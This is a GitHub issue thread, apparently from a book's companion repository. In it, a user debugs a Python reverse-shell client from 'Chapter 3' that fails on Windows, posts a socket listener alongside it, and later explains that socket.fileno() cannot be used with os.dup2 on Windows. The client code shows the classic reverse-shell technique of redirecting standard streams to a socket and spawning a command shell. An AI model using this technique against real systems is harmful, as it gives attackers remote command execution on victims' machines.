Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Chapter 3 reverse_shell_py [Errno 9] Bad file descriptor on line os.dup2(s.fileno(),0) #2

Closed
pukiwawa86 opened this issue Mar 6, 2024 · 1 comment

Comments

@pukiwawa86
Copy link

Running on python3.12, windows 11, AMD64, 64 bits

Keep having [Errno 9] Bad file descriptor.

Below is my code for the client

import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(("127.0.0.1", 45678))
#if r==0:
s.send(b"Hello")
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
shell_remote=subprocess.call(("cmd", "dir"))
proc = subprocess.call(("dir"))
s.close()

I tried the server with two methods:
using netcat-win32-1.12 from https://eternallybored.org/misc/netcat/

AND also writing a simple server.py by myself, as follows:

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("127.0.0.1", 45678))
s.listen(5)
print("Listening...")
client, addr = s.accept()
while True:
	request = client.recv(1024).decode()
	print("[+] Received: ", request)
	if request == "quit":
		break
	if len(request) < 1:
		break

s.close()

Something wrong with this example?

@pukiwawa86
Copy link
Author

Guys, I just found out that os.dup2 and socket.fileno() does not work on Windows as it is written on docs, as follows:

socket.fileno()
Return the socket’s file descriptor (a small integer). This is useful with select.select().

Under Windows the small integer returned by this method cannot be used where a file descriptor can be used (such as os.fdopen()). Unix does not have this limitation.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Development

No branches or pull requests

1 participant